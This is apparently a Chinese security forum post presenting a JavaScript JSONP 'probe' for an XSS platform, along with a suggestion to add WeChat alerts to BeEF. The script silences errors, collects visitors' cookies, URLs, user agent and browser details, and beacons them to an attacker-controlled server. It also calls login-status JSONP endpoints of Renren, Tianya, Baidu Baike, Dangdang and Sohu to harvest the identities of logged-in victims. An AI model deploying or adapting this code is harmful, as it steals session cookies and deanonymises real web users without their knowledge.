jsonp探针获取的信息过滤

获取的信息都未经验证都提交到服务器了,需要对获取的信息进行了简单的验证,未登录的信息就不用提交了,对于一些不怎么重要的信息callback地址去除。

小的提议:感觉邮箱提醒的延时还是挺大的,感觉微信公共平台的客服消息还是挺快的,可以说瞬间提醒吧。如果把微信公共平台的客服消息整合到beef中,通过客服消息和beef进行互动发送指令感觉就很方便快捷了。

  1. window.onerror = function () {
  2.   return true;
  3. }
  4. http_server = 'http://xxx/index.php?do=api&id={projectId}&content=';
  5. var info = {
  6. };
  7. info.browser = function () {
  8.   ua = navigator.userAgent.toLowerCase();
  9.   var rwebkit = /(webkit)[ \/]([\w.]+)/;
  10.   var ropera = /(opera)(?:.*version)?[ \/]([\w.]+)/;
  11.   var rmsie = /(msie) ([\w.]+)/;
  12.   var rmozilla = /(mozilla)(?:.*? rv:([\w.]+))?/;
  13.   var match = rwebkit.exec(ua) || ropera.exec(ua) || rmsie.exec(ua) || ua.indexOf('compatible') < 0 && rmozilla.exec(ua) || [];
  14.   return {
  15.     name: match[1] || '',
  16.     version: match[2] || '0'
  17.   };
  18. }();
  19. info.url = document.location.href;
  20. info.ua = escape(navigator.userAgent);
  21. info.lang = navigator.language;
  22. info.referrer = document.referrer;
  23. info.location = window.location.href;
  24. info.toplocation = top.location.href;
  25. info.cookie = escape(document.cookie);
  26. info.domain = document.domain;
  27. info.title = document.title;
  28. info.screen = function () {
  29.   var c = '';
  30.   if (self.screen) {
  31.     c = screen.width + 'x' + screen.height;
  32.   }
  33.   return c;
  34. }();
  35. info.flash = function () {
  36.   var f = '',
  37.   n = navigator;
  38.   if (n.plugins && n.plugins.length) {
  39.     for (var ii = 0; ii < n.plugins.length; ii++) {
  40.       if (n.plugins[ii].name.indexOf('Shockwave Flash') != - 1) {
  41.         f = n.plugins[ii].description.split('Shockwave Flash ') [1];
  42.         break;
  43.       }
  44.     }
  45.   } else if (window.ActiveXObject) {
  46.     for (var ii = 10; ii >= 2; ii--) {
  47.       try {
  48.         var fl = eval('new ActiveXObject(\'ShockwaveFlash.ShockwaveFlash.' + ii + '\');');
  49.         if (fl) {
  50.           f = ii + '.0';
  51.           break;
  52.         }
  53.       } catch (e) {
  54.       }
  55.     }
  56.   }
  57.   return f;
  58. }();
  59. function inj_script(a, b) {
  60.   var o = document.createElement('script');
  61.   o.src = a;
  62.   if (b) {
  63.     if (!window.ActiveXObject) {
  64.       o.onload = b;
  65.     } else {
  66.       o.onreadystatechange = function () {
  67.         if (o.readyState == 'loaded' || o.readyState == 'complete') {
  68.           b();
  69.         }
  70.       }
  71.     }
  72.   }
  73.   document.getElementsByTagName('body') [0].appendChild(o);
  74.   return o;
  75. }
  76. function json2str(o) {
  77.   if (typeof o == 'string') return o;
  78.   var arr = [
  79.   ];
  80.   var fmt = function (s) {
  81.     if (typeof s == 'object' && s != null) return json2str(s);
  82.     return /^(string|number)$/.test(typeof s) ? '\'' + s + '\'' : s;
  83.   }
  84.   for (var i in o) arr.push('\'' + i + '\':' + fmt(o[i]));
  85.   return '{' + arr.join(',') + '}';
  86. }
  87. renren_yx_base = function (o) {
  88.   if (o.status == 1) {
  89.     new Image().src = http_server + escape(json2str(o)) + '&content2=renren_yx_base';
  90.   }
  91. }
  92. renren_game_passport = function (o) {
  93.   if (o.result == 'true') {
  94.     new Image().src = http_server + escape(json2str(o)) + '&content2=renren_game_passport';
  95.   }
  96. }
  97. tianya_passport = function (o, s) {
  98.   if (o) {
  99.     new Image().src = http_server + escape(json2str(o + ';' + s)) + '&content2=tianya_passport';
  100.   }
  101. }
  102. baidu_baike = function (o) {
  103.   if (o.login) {
  104.     new Image().src = http_server + escape(json2str(o)) + '&content2=baidu_baike';
  105.   }
  106. }
  107. dangdang_commapi = function (o) {
  108.   if (o.customer_id > 0) {
  109.     new Image().src = http_server + escape(json2str(o)) + '&content2=dangdang_commapi';
  110.   }
  111. }
  112. var img = new Image();
  113. img.src = '#';
  114. img.onerror = function () {
  115.   new Image().src = http_server + escape(json2str(info)) + '&content2=info%20';
  116.   try {
  117.     inj_script('http://base.yx.renren.com/RestAPI?method=api.base.getLoginUser&format=2&callback=renren_yx_base');
  118.   } catch (e) {
  119.   }
  120.   try {
  121.     inj_script('http://passport.game.renren.com/user/info?callback=renren_game_passport');
  122.   } catch (e) {
  123.   }
  124.   try {
  125.     inj_script('http://passport.tianya.cn/online/checkuseronline.jsp?callback=tianya_passport');
  126.   } catch (e) {
  127.   }
  128.   try {
  129.     inj_script('http://baike.baidu.com/api/login/?callback=baidu_baike');
  130.   } catch (e) {
  131.   }
  132.   try {
  133.     inj_script('http://commapi.dangdang.com/api/toolbar_ads_api.php?jsoncallback=dangdang_commapi');
  134.   } catch (e) {
  135.   }
  136.   try {
  137.     inj_script('http://uis.i.sohu.com/api/passport.jsp?from=roll&_=1361671333278');
  138.   } catch (e) {
  139.   }
  140.   setTimeout(function () {
  141.     var o = [
  142.       _passport
  143.     ];
  144.     if (_passport.length > 0) {
  145.       new Image().src = http_server + escape(json2str(o)) + '&content2=sohu_i_uis';
  146.     }
  147.   }, 3000);
  148. };